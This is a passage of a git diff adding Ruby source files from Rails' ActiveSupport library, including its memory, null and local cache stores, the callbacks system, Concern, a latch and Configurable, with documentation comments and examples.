+ # is not thread safe.
+ def synchronize(&block) # :nodoc:
+ @monitor.synchronize(&block)
+ end
+
+ protected
+ def read_entry(key, options) # :nodoc:
+ entry = @data[key]
+ synchronize do
+ if entry
+ @key_access[key] = Time.now.to_f
+ else
+ @key_access.delete(key)
+ end
+ end
+ entry
+ end
+
+ def write_entry(key, entry, options) # :nodoc:
+ entry.dup_value!
+ synchronize do
+ old_entry = @data[key]
+ return false if @data.key?(key) && options[:unless_exist]
+ @cache_size -= old_entry.size if old_entry
+ @cache_size += entry.size
+ @key_access[key] = Time.now.to_f
+ @data[key] = entry
+ prune(@max_size * 0.75, @max_prune_time) if @cache_size > @max_size
+ true
+ end
+ end
+
+ def delete_entry(key, options) # :nodoc:
+ synchronize do
+ @key_access.delete(key)
+ entry = @data.delete(key)
+ @cache_size -= entry.size if entry
+ !!entry
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/cache/null_store.rb b/activesupport/lib/active_support/cache/null_store.rb
new file mode 100644
index 0000000..4427eaa
--- /dev/null
+++ b/activesupport/lib/active_support/cache/null_store.rb
@@ -0,0 +1,44 @@
+module ActiveSupport
+ module Cache
+ # A cache store implementation which doesn't actually store anything. Useful in
+ # development and test environments where you don't want caching turned on but
+ # need to go through the caching interface.
+ #
+ # This cache does implement the local cache strategy, so values will actually
+ # be cached inside blocks that utilize this strategy. See
+ # ActiveSupport::Cache::Strategy::LocalCache for more details.
+ class NullStore < Store
+ def initialize(options = nil)
+ super(options)
+ extend Strategy::LocalCache
+ end
+
+ def clear(options = nil)
+ end
+
+ def cleanup(options = nil)
+ end
+
+ def increment(name, amount = 1, options = nil)
+ end
+
+ def decrement(name, amount = 1, options = nil)
+ end
+
+ def delete_matched(matcher, options = nil)
+ end
+
+ protected
+ def read_entry(key, options) # :nodoc:
+ end
+
+ def write_entry(key, entry, options) # :nodoc:
+ true
+ end
+
+ def delete_entry(key, options) # :nodoc:
+ false
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
new file mode 100644
index 0000000..fb42c4a
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -0,0 +1,180 @@
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveSupport
+ module Cache
+ module Strategy
+ # Caches that implement LocalCache will be backed by an in-memory cache for the
+ # duration of a block. Repeated calls to the cache for the same key will hit the
+ # in-memory cache for faster access.
+ module LocalCache
+ # Class for storing and registering the local caches.
+ class LocalCacheRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def cache_for(local_cache_key)
+ @registry[local_cache_key]
+ end
+
+ def set_cache_for(local_cache_key, value)
+ @registry[local_cache_key] = value
+ end
+ end
+
+ # Simple memory backed cache. This cache is not thread safe and is intended only
+ # for serving as a temporary memory cache for a single thread.
+ class LocalStore < Store
+ def initialize
+ super
+ @data = {}
+ end
+
+ # Don't allow synchronizing since it isn't thread safe,
+ def synchronize # :nodoc:
+ yield
+ end
+
+ def clear(options = nil)
+ @data.clear
+ end
+
+ def read_entry(key, options)
+ @data[key]
+ end
+
+ def write_entry(key, value, options)
+ @data[key] = value
+ true
+ end
+
+ def delete_entry(key, options)
+ !!@data.delete(key)
+ end
+ end
+
+ # Use a local cache for the duration of block.
+ def with_local_cache
+ use_temporary_local_cache(LocalStore.new) { yield }
+ end
+
+ #--
+ # This class wraps up local storage for middlewares. Only the middleware method should
+ # construct them.
+ class Middleware # :nodoc:
+ attr_reader :name, :local_cache_key
+
+ def initialize(name, local_cache_key)
+ @name = name
+ @local_cache_key = local_cache_key
+ @app = nil
+ end
+
+ def new(app)
+ @app = app
+ self
+ end
+
+ def call(env)
+ LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+ @app.call(env)
+ ensure
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ end
+ end
+
+ # Middleware class can be inserted as a Rack handler to be local cache for the
+ # duration of request.
+ def middleware
+ @middleware ||= Middleware.new(
+ "ActiveSupport::Cache::Strategy::LocalCache",
+ local_cache_key)
+ end
+
+ def clear(options = nil) # :nodoc:
+ local_cache.clear(options) if local_cache
+ super
+ end
+
+ def cleanup(options = nil) # :nodoc:
+ local_cache.clear(options) if local_cache
+ super
+ end
+
+ def increment(name, amount = 1, options = nil) # :nodoc:
+ value = bypass_local_cache{super}
+ increment_or_decrement(value, name, amount, options)
+ value
+ end
+
+ def decrement(name, amount = 1, options = nil) # :nodoc:
+ value = bypass_local_cache{super}
+ increment_or_decrement(value, name, amount, options)
+ value
+ end
+
+ protected
+ def read_entry(key, options) # :nodoc:
+ if local_cache
+ entry = local_cache.read_entry(key, options)
+ unless entry
+ entry = super
+ local_cache.write_entry(key, entry, options)
+ end
+ entry
+ else
+ super
+ end
+ end
+
+ def write_entry(key, entry, options) # :nodoc:
+ local_cache.write_entry(key, entry, options) if local_cache
+ super
+ end
+
+ def delete_entry(key, options) # :nodoc:
+ local_cache.delete_entry(key, options) if local_cache
+ super
+ end
+
+ private
+ def increment_or_decrement(value, name, amount, options)
+ if local_cache
+ local_cache.mute do
+ if value
+ local_cache.write(name, value, options)
+ else
+ local_cache.delete(name, options)
+ end
+ end
+ end
+ end
+
+ def local_cache_key
+ @local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, '_').to_sym
+ end
+
+ def local_cache
+ LocalCacheRegistry.cache_for(local_cache_key)
+ end
+
+ def bypass_local_cache
+ use_temporary_local_cache(nil) { yield }
+ end
+
+ def use_temporary_local_cache(temporary_cache)
+ save_cache = LocalCacheRegistry.cache_for(local_cache_key)
+ begin
+ LocalCacheRegistry.set_cache_for(local_cache_key, temporary_cache)
+ yield
+ ensure
+ LocalCacheRegistry.set_cache_for(local_cache_key, save_cache)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
new file mode 100644
index 0000000..893c250
--- /dev/null
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -0,0 +1,593 @@
+require 'thread_safe'
+require 'active_support/concern'
+require 'active_support/descendants_tracker'
+require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/kernel/singleton_class'
+
+module ActiveSupport
+ # Callbacks are code hooks that are run at key points in an object's lifecycle.
+ # The typical use case is to have a base class define a set of callbacks
+ # relevant to the other functionality it supplies, so that subclasses can
+ # install callbacks that enhance or modify the base functionality without
+ # needing to override or redefine methods of the base class.
+ #
+ # Mixing in this module allows you to define the events in the object's
+ # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+ # set the instance methods, procs, or callback objects to be called (via
+ # +ClassMethods.set_callback+), and run the installed callbacks at the
+ # appropriate times (via +run_callbacks+).
+ #
+ # Three kinds of callbacks are supported: before callbacks, run before a
+ # certain event; after callbacks, run after the event; and around callbacks,
+ # blocks that surround the event, triggering it when they yield. Callback code
+ # can be contained in instance methods, procs or lambdas, or callback objects
+ # that respond to certain predetermined methods. See +ClassMethods.set_callback+
+ # for details.
+ #
+ # class Record
+ # include ActiveSupport::Callbacks
+ # define_callbacks :save
+ #
+ # def save
+ # run_callbacks :save do
+ # puts "- save"
+ # end
+ # end
+ # end
+ #
+ # class PersonRecord < Record
+ # set_callback :save, :before, :saving_message
+ # def saving_message
+ # puts "saving..."
+ # end
+ #
+ # set_callback :save, :after do |object|
+ # puts "saved"
+ # end
+ # end
+ #
+ # person = PersonRecord.new
+ # person.save
+ #
+ # Output:
+ # saving...
+ # - save
+ # saved
+ module Callbacks
+ extend Concern
+
+ included do
+ extend ActiveSupport::DescendantsTracker
+ end
+
+ CALLBACK_FILTER_TYPES = [:before, :after, :around]
+
+ # Runs the callbacks for the given event.
+ #
+ # Calls the before and around callbacks in the order they were set, yields
+ # the block (if given one), and then runs the after callbacks in reverse
+ # order.
+ #
+ # If the callback chain was halted, returns +false+. Otherwise returns the
+ # result of the block, or +true+ if no block is given.
+ #
+ # run_callbacks :save do
+ # save
+ # end
+ def run_callbacks(kind, &block)
+ runner_name = self.class.__define_callbacks(kind, self)
+ send(runner_name, &block)
+ end
+
+ private
+
+ # A hook invoked everytime a before callback is halted.
+ # This can be overridden in AS::Callback implementors in order
+ # to provide better debugging/logging.
+ def halted_callback_hook(filter)
+ end
+
+ class Callback #:nodoc:#
+ @@_callback_sequence = 0
+
+ attr_accessor :chain, :filter, :kind, :options, :klass, :raw_filter
+
+ def initialize(chain, filter, kind, options, klass)
+ @chain, @kind, @klass = chain, kind, klass
+ deprecate_per_key_option(options)
+ normalize_options!(options)
+
+ @raw_filter, @options = filter, options
+ @filter = _compile_filter(filter)
+ recompile_options!
+ end
+
+ def deprecate_per_key_option(options)
+ if options[:per_key]
+ raise NotImplementedError, ":per_key option is no longer supported. Use generic :if and :unless options instead."
+ end
+ end
+
+ def clone(chain, klass)
+ obj = super()
+ obj.chain = chain
+ obj.klass = klass
+ obj.options = @options.dup
+ obj.options[:if] = @options[:if].dup
+ obj.options[:unless] = @options[:unless].dup
+ obj
+ end
+
+ def normalize_options!(options)
+ options[:if] = Array(options[:if])
+ options[:unless] = Array(options[:unless])
+ end
+
+ def name
+ chain.name
+ end
+
+ def next_id
+ @@_callback_sequence += 1
+ end
+
+ def matches?(_kind, _filter)
+ if @_is_object_filter
+ _filter_matches = @filter.to_s.start_with?(_method_name_for_object_filter(_kind, _filter, false))
+ else
+ _filter_matches = (@filter == _filter)
+ end
+
+ @kind == _kind && _filter_matches
+ end
+
+ def duplicates?(other)
+ matches?(other.kind, other.filter)
+ end
+
+ def _update_filter(filter_options, new_options)
+ filter_options[:if].concat(Array(new_options[:unless])) if new_options.key?(:unless)
+ filter_options[:unless].concat(Array(new_options[:if])) if new_options.key?(:if)
+ end
+
+ def recompile!(_options)
+ deprecate_per_key_option(_options)
+ _update_filter(self.options, _options)
+
+ recompile_options!
+ end
+
+ # Wraps code with filter
+ def apply(code)
+ case @kind
+ when :before
+ <<-RUBY_EVAL
+ if !halted && #{@compiled_options}
+ # This double assignment is to prevent warnings in 1.9.3 as
+ # the `result` variable is not always used except if the
+ # terminator code refers to it.
+ result = result = #{@filter}
+ halted = (#{chain.config[:terminator]})
+ if halted
+ halted_callback_hook(#{@raw_filter.inspect.inspect})
+ end
+ end
+ #{code}
+ RUBY_EVAL
+ when :after
+ <<-RUBY_EVAL
+ #{code}
+ if #{!chain.config[:skip_after_callbacks_if_terminated] || "!halted"} && #{@compiled_options}
+ #{@filter}
+ end
+ RUBY_EVAL
+ when :around
+ name = define_conditional_callback
+ <<-RUBY_EVAL
+ #{name}(halted) do
+ #{code}
+ value
+ end
+ RUBY_EVAL
+ end
+ end
+
+ private
+
+ # Compile around filters with conditions into proxy methods
+ # that contain the conditions.
+ #
+ # For `set_callback :save, :around, :filter_name, if: :condition':
+ #
+ # def _conditional_callback_save_17
+ # if condition
+ # filter_name do
+ # yield self
+ # end
+ # else
+ # yield self
+ # end
+ # end
+ def define_conditional_callback
+ name = "_conditional_callback_#{@kind}_#{next_id}"
+ @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{name}(halted)
+ if #{@compiled_options} && !halted
+ #{@filter} do
+ yield self
+ end
+ else
+ yield self
+ end
+ end
+ RUBY_EVAL
+ name
+ end
+
+ # Options support the same options as filters themselves (and support
+ # symbols, string, procs, and objects), so compile a conditional
+ # expression based on the options.
+ def recompile_options!
+ conditions = ["true"]
+
+ unless options[:if].empty?
+ conditions << Array(_compile_filter(options[:if]))
+ end
+
+ unless options[:unless].empty?
+ conditions << Array(_compile_filter(options[:unless])).map {|f| "!#{f}"}
+ end
+
+ @compiled_options = conditions.flatten.join(" && ")
+ end
+
+ def _method_name_for_object_filter(kind, filter, append_next_id = true)
+ class_name = filter.kind_of?(Class) ? filter.to_s : filter.class.to_s
+ class_name.gsub!(/<|>|#/, '')
+ class_name.gsub!(/\/|:/, "_")
+
+ method_name = "_callback_#{kind}_#{class_name}"
+ method_name << "_#{next_id}" if append_next_id
+ method_name
+ end
+
+ # Filters support:
+ #
+ # Arrays:: Used in conditions. This is used to specify
+ # multiple conditions. Used internally to
+ # merge conditions from skip_* filters.
+ # Symbols:: A method to call.
+ # Strings:: Some content to evaluate.
+ # Procs:: A proc to call with the object.
+ # Objects:: An object with a <tt>before_foo</tt> method on it to call.
+ #
+ # All of these objects are compiled into methods and handled
+ # the same after this point:
+ #
+ # Arrays:: Merged together into a single filter.
+ # Symbols:: Already methods.
+ # Strings:: class_eval'ed into methods.
+ # Procs:: define_method'ed into methods.
+ # Objects::
+ # a method is created that calls the before_foo method
+ # on the object.
+ def _compile_filter(filter)
+ @_is_object_filter = false
+
+ case filter
+ when Array
+ filter.map {|f| _compile_filter(f)}
+ when Symbol
+ filter
+ when String
+ "(#{filter})"
+ when Proc
+ method_name = "_callback_#{@kind}_#{next_id}"
+ @klass.send(:define_method, method_name, &filter)
+ return method_name if filter.arity <= 0
+
+ method_name << (filter.arity == 1 ? "(self)" : " self, Proc.new ")
+ else
+ method_name = _method_name_for_object_filter(kind, filter)
+ @_is_object_filter = true
+ @klass.send(:define_method, "#{method_name}_object") { filter }
+
+ _normalize_legacy_filter(kind, filter)
+ scopes = Array(chain.config[:scope])
+ method_to_call = scopes.map{ |s| s.is_a?(Symbol) ? send(s) : s }.join("_")
+
+ @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{method_name}(&blk)
+ #{method_name}_object.send(:#{method_to_call}, self, &blk)
+ end
+ RUBY_EVAL
+
+ method_name
+ end
+ end
+
+ def _normalize_legacy_filter(kind, filter)
+ if !filter.respond_to?(kind) && filter.respond_to?(:filter)
+ message = "Filter object with #filter method is deprecated. Define method corresponding " \
+ "to filter type (#before, #after or #around)."
+ ActiveSupport::Deprecation.warn message
+ filter.singleton_class.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{kind}(context, &block) filter(context, &block) end
+ RUBY_EVAL
+ elsif filter.respond_to?(:before) && filter.respond_to?(:after) && kind == :around && !filter.respond_to?(:around)
+ message = "Filter object with #before and #after methods is deprecated. Define #around method instead."
+ ActiveSupport::Deprecation.warn message
+ def filter.around(context)
+ should_continue = before(context)
+ yield if should_continue
+ after(context)
+ end
+ end
+ end
+ end
+
+ # An Array with a compile method.
+ class CallbackChain < Array #:nodoc:#
+ attr_reader :name, :config
+
+ def initialize(name, config)
+ @name = name
+ @config = {
+ :terminator => "false",
+ :scope => [ :kind ]
+ }.merge!(config)
+ end
+
+ def compile
+ method = ["value = nil", "halted = false"]
+ callbacks = "value = !halted && (!block_given? || yield)"
+ reverse_each do |callback|
+ callbacks = callback.apply(callbacks)
+ end
+ method << callbacks
+
+ method << "value"
+ method.join("\n")
+ end
+
+ def append(*callbacks)
+ callbacks.each { |c| append_one(c) }
+ end
+
+ def prepend(*callbacks)
+ callbacks.each { |c| prepend_one(c) }
+ end
+
+ private
+
+ def append_one(callback)
+ remove_duplicates(callback)
+ push(callback)
+ end
+
+ def prepend_one(callback)
+ remove_duplicates(callback)
+ unshift(callback)
+ end
+
+ def remove_duplicates(callback)
+ delete_if { |c| callback.duplicates?(c) }
+ end
+
+ end
+
+ module ClassMethods
+
+ # This method defines callback chain method for the given kind
+ # if it was not yet defined.
+ # This generated method plays caching role.
+ def __define_callbacks(kind, object) #:nodoc:
+ name = __callback_runner_name(kind)
+ unless object.respond_to?(name, true)
+ str = object.send("_#{kind}_callbacks").compile
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{name}() #{str} end
+ protected :#{name}
+ RUBY_EVAL
+ end
+ name
+ end
+
+ def __reset_runner(symbol)
+ name = __callback_runner_name(symbol)
+ undef_method(name) if method_defined?(name)
+ end
+
+ def __callback_runner_name_cache
+ @__callback_runner_name_cache ||= ThreadSafe::Cache.new {|cache, kind| cache[kind] = __generate_callback_runner_name(kind) }
+ end
+
+ def __generate_callback_runner_name(kind)
+ "_run__#{self.name.hash.abs}__#{kind}__callbacks"
+ end
+
+ def __callback_runner_name(kind)
+ __callback_runner_name_cache[kind]
+ end
+
+ # This is used internally to append, prepend and skip callbacks to the
+ # CallbackChain.
+ def __update_callbacks(name, filters = [], block = nil) #:nodoc:
+ type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
+ options = filters.last.is_a?(Hash) ? filters.pop : {}
+ filters.unshift(block) if block
+
+ ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse.each do |target|
+ chain = target.send("_#{name}_callbacks")
+ yield target, chain.dup, type, filters, options
+ target.__reset_runner(name)
+ end
+ end
+
+ # Install a callback for the given event.
+ #
+ # set_callback :save, :before, :before_meth
+ # set_callback :save, :after, :after_meth, if: :condition
+ # set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+ #
+ # The second arguments indicates whether the callback is to be run +:before+,
+ # +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
+ # means the first example above can also be written as:
+ #
+ # set_callback :save, :before_meth
+ #
+ # The callback can specified as a symbol naming an instance method; as a
+ # proc, lambda, or block; as a string to be instance evaluated; or as an
+ # object that responds to a certain method determined by the <tt>:scope</tt>
+ # argument to +define_callback+.
+ #
+ # If a proc, lambda, or block is given, its body is evaluated in the context
+ # of the current object. It can also optionally accept the current object as
+ # an argument.
+ #
+ # Before and around callbacks are called in the order that they are set;
+ # after callbacks are called in the reverse order.
+ #
+ # Around callbacks can access the return value from the event, if it
+ # wasn't halted, from the +yield+ call.
+ #
+ # ===== Options
+ #
+ # * <tt>:if</tt> - A symbol naming an instance method or a proc; the
+ # callback will be called only when it returns a +true+ value.
+ # * <tt>:unless</tt> - A symbol naming an instance method or a proc; the
+ # callback will be called only when it returns a +false+ value.
+ # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
+ # existing chain rather than appended.
+ def set_callback(name, *filter_list, &block)
+ mapped = nil
+
+ __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
+ mapped ||= filters.map do |filter|
+ Callback.new(chain, filter, type, options.dup, self)
+ end
+
+ options[:prepend] ? chain.prepend(*mapped) : chain.append(*mapped)
+
+ target.send("_#{name}_callbacks=", chain)
+ end
+ end
+
+ # Skip a previously set callback. Like +set_callback+, <tt>:if</tt> or
+ # <tt>:unless</tt> options may be passed in order to control when the
+ # callback is skipped.
+ #
+ # class Writer < Person
+ # skip_callback :validate, :before, :check_membership, if: -> { self.age > 18 }
+ # end
+ def skip_callback(name, *filter_list, &block)
+ __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
+ filters.each do |filter|
+ filter = chain.find {|c| c.matches?(type, filter) }
+
+ if filter && options.any?
+ new_filter = filter.clone(chain, self)
+ chain.insert(chain.index(filter), new_filter)
+ new_filter.recompile!(options)
+ end
+
+ chain.delete(filter)
+ end
+ target.send("_#{name}_callbacks=", chain)
+ end
+ end
+
+ # Remove all set callbacks for the given event.
+ def reset_callbacks(symbol)
+ callbacks = send("_#{symbol}_callbacks")
+
+ ActiveSupport::DescendantsTracker.descendants(self).each do |target|
+ chain = target.send("_#{symbol}_callbacks").dup
+ callbacks.each { |c| chain.delete(c) }
+ target.send("_#{symbol}_callbacks=", chain)
+ target.__reset_runner(symbol)
+ end
+
+ self.send("_#{symbol}_callbacks=", callbacks.dup.clear)
+
+ __reset_runner(symbol)
+ end
+
+ # Define sets of events in the object lifecycle that support callbacks.
+ #
+ # define_callbacks :validate
+ # define_callbacks :initialize, :save, :destroy
+ #
+ # ===== Options
+ #
+ # * <tt>:terminator</tt> - Determines when a before filter will halt the
+ # callback chain, preventing following callbacks from being called and
+ # the event from being triggered. This is a string to be eval'ed. The
+ # result of the callback is available in the +result+ variable.
+ #
+ # define_callbacks :validate, terminator: 'result == false'
+ #
+ # In this example, if any before validate callbacks returns +false+,
+ # other callbacks are not executed. Defaults to +false+, meaning no value
+ # halts the chain.
+ #
+ # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after
+ # callbacks should be terminated by the <tt>:terminator</tt> option. By
+ # default after callbacks executed no matter if callback chain was
+ # terminated or not. Option makes sense only when <tt>:terminator</tt>
+ # option is specified.
+ #
+ # * <tt>:scope</tt> - Indicates which methods should be executed when an
+ # object is used as a callback.
+ #
+ # class Audit
+ # def before(caller)
+ # puts 'Audit: before is called'
+ # end
+ #
+ # def before_save(caller)
+ # puts 'Audit: before_save is called'
+ # end
+ # end
+ #
+ # class Account
+ # include ActiveSupport::Callbacks
+ #
+ # define_callbacks :save
+ # set_callback :save, :before, Audit.new
+ #
+ # def save
+ # run_callbacks :save do
+ # puts 'save in main'
+ # end
+ # end
+ # end
+ #
+ # In the above case whenever you save an account the method
+ # <tt>Audit#before</tt> will be called. On the other hand
+ #
+ # define_callbacks :save, scope: [:kind, :name]
+ #
+ # would trigger <tt>Audit#before_save</tt> instead. That's constructed
+ # by calling <tt>#{kind}_#{name}</tt> on the given instance. In this
+ # case "kind" is "before" and "name" is "save". In this context +:kind+
+ # and +:name+ have special meanings: +:kind+ refers to the kind of
+ # callback (before/after/around) and +:name+ refers to the method on
+ # which callbacks are being defined.
+ #
+ # A declaration like
+ #
+ # define_callbacks :save, scope: [:name]
+ #
+ # would call <tt>Audit#save</tt>.
+ def define_callbacks(*callbacks)
+ config = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
+ callbacks.each do |callback|
+ class_attribute "_#{callback}_callbacks"
+ send("_#{callback}_callbacks=", CallbackChain.new(callback, config))
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
new file mode 100644
index 0000000..eeeba60
--- /dev/null
+++ b/activesupport/lib/active_support/concern.rb
@@ -0,0 +1,126 @@
+module ActiveSupport
+ # A typical module looks like this:
+ #
+ # module M
+ # def self.included(base)
+ # base.extend ClassMethods
+ # base.class_eval do
+ # scope :disabled, -> { where(disabled: true) }
+ # end
+ # end
+ #
+ # module ClassMethods
+ # ...
+ # end
+ # end
+ #
+ # By using <tt>ActiveSupport::Concern</tt> the above module could instead be
+ # written as:
+ #
+ # require 'active_support/concern'
+ #
+ # module M
+ # extend ActiveSupport::Concern
+ #
+ # included do
+ # scope :disabled, -> { where(disabled: true) }
+ # end
+ #
+ # module ClassMethods
+ # ...
+ # end
+ # end
+ #
+ # Moreover, it gracefully handles module dependencies. Given a +Foo+ module
+ # and a +Bar+ module which depends on the former, we would typically write the
+ # following:
+ #
+ # module Foo
+ # def self.included(base)
+ # base.class_eval do
+ # def self.method_injected_by_foo
+ # ...
+ # end
+ # end
+ # end
+ # end
+ #
+ # module Bar
+ # def self.included(base)
+ # base.method_injected_by_foo
+ # end
+ # end
+ #
+ # class Host
+ # include Foo # We need to include this dependency for Bar
+ # include Bar # Bar is the module that Host really needs
+ # end
+ #
+ # But why should +Host+ care about +Bar+'s dependencies, namely +Foo+? We
+ # could try to hide these from +Host+ directly including +Foo+ in +Bar+:
+ #
+ # module Bar
+ # include Foo
+ # def self.included(base)
+ # base.method_injected_by_foo
+ # end
+ # end
+ #
+ # class Host
+ # include Bar
+ # end
+ #
+ # Unfortunately this won't work, since when +Foo+ is included, its <tt>base</tt>
+ # is the +Bar+ module, not the +Host+ class. With <tt>ActiveSupport::Concern</tt>,
+ # module dependencies are properly resolved:
+ #
+ # require 'active_support/concern'
+ #
+ # module Foo
+ # extend ActiveSupport::Concern
+ # included do
+ # def self.method_injected_by_foo
+ # ...
+ # end
+ # end
+ # end
+ #
+ # module Bar
+ # extend ActiveSupport::Concern
+ # include Foo
+ #
+ # included do
+ # self.method_injected_by_foo
+ # end
+ # end
+ #
+ # class Host
+ # include Bar # works, Bar takes care now of its dependencies
+ # end
+ module Concern
+ def self.extended(base) #:nodoc:
+ base.instance_variable_set("@_dependencies", [])
+ end
+
+ def append_features(base)
+ if base.instance_variable_defined?("@_dependencies")
+ base.instance_variable_get("@_dependencies") << self
+ return false
+ else
+ return false if base < self
+ @_dependencies.each { |dep| base.send(:include, dep) }
+ super
+ base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
+ base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
+ end
+ end
+
+ def included(base = nil, &block)
+ if base.nil?
+ @_included_block = block
+ else
+ super
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/concurrency/latch.rb b/activesupport/lib/active_support/concurrency/latch.rb
new file mode 100644
index 0000000..1507de4
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/latch.rb
@@ -0,0 +1,27 @@
+require 'thread'
+require 'monitor'
+
+module ActiveSupport
+ module Concurrency
+ class Latch
+ def initialize(count = 1)
+ @count = count
+ @lock = Monitor.new
+ @cv = @lock.new_cond
+ end
+
+ def release
+ @lock.synchronize do
+ @count -= 1 if @count > 0
+ @cv.broadcast if @count.zero?
+ end
+ end
+
+ def await
+ @lock.synchronize do
+ @cv.wait_while { @count > 0 }
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
new file mode 100644
index 0000000..e0d39d5
--- /dev/null
+++ b/activesupport/lib/active_support/configurable.rb
@@ -0,0 +1,147 @@
+require 'active_support/concern'
+require 'active_support/ordered_options'
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveSupport
+ # Configurable provides a <tt>config</tt> method to store and retrieve
+ # configuration options as an <tt>OrderedHash</tt>.
+ module Configurable
+ extend ActiveSupport::Concern
+
+ class Configuration < ActiveSupport::InheritableOptions
+ def compile_methods!
+ self.class.compile_methods!(keys)
+ end
+
+ # Compiles reader methods so we don't have to go through method_missing.
+ def self.compile_methods!(keys)
+ keys.reject { |m| method_defined?(m) }.each do |key|
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{key}; _get(#{key.inspect}); end
+ RUBY
+ end
+ end
+ end
+
+ module ClassMethods
+ def config
+ @_config ||= if respond_to?(:superclass) && superclass.respond_to?(:config)
+ superclass.config.inheritable_copy
+ else
+ # create a new "anonymous" class that will host the compiled reader methods
+ Class.new(Configuration).new
+ end
+ end
+
+ def configure
+ yield config
+ end
+
+ # Allows you to add shortcut so that you don't have to refer to attribute
+ # through config. Also look at the example for config to contrast.
+ #
+ # Defines both class and instance config accessors.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :allowed_access
+ # end
+ #
+ # User.allowed_access # => nil
+ # User.allowed_access = false
+ # User.allowed_access # => false
+ #
+ # user = User.new
+ # user.allowed_access # => false
+ # user.allowed_access = true
+ # user.allowed_access # => true
+ #
+ # User.allowed_access # => false
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :"1_Badname"
+ # end
+ # # => NameError: invalid config attribute name
+ #
+ # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+ # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :allowed_access, instance_reader: false, instance_writer: false
+ # end
+ #
+ # User.allowed_access = false
+ # User.allowed_access # => false
+ #
+ # User.new.allowed_access = true # => NoMethodError
+ # User.new.allowed_access # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :allowed_access, instance_accessor: false
+ # end
+ #
+ # User.allowed_access = false
+ # User.allowed_access # => false
+ #
+ # User.new.allowed_access = true # => NoMethodError
+ # User.new.allowed_access # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # User.hair_colors # => [:brown, :black, :blonde, :red]
+ def config_accessor(*names)
+ options = names.extract_options!
+
+ names.each do |name|
+ raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+
+ reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
+ writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
+
+ singleton_class.class_eval reader, __FILE__, reader_line
+ singleton_class.class_eval writer, __FILE__, writer_line
+
+ unless options[:instance_accessor] == false
+ class_eval reader, __FILE__, reader_line unless options[:instance_reader] == false
+ class_eval writer, __FILE__, writer_line unless options[:instance_writer] == false
+ end
+ send("#{name}=", yield) if block_given?
+ end
+ end
+ end
+
+ # Reads and writes attributes from a configuration <tt>OrderedHash</tt>.
+ #
+ # require 'active_support/configurable'
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # end
+ #
+ # user = User.new
+ #
+ # user.config.allowed_access = true
+ # user.config.level = 1
+ #
+ # user.config.allowed_access # => true
+ # user.config.level # => 1
+ def config
+ @_config ||= self.class.config.inheritable_copy
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
new file mode 100644
index 0000000..998a59c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -0,0 +1,4 @@
+Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].each do |path|
+ next if File.basename(path, '.rb') == 'logger'
+ require path
+end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
new file mode 100644
index 0000000..79ba791
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -0,0 +1,7 @@
+require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/array/access'
+require 'active_support/core_ext/array/uniq_by'
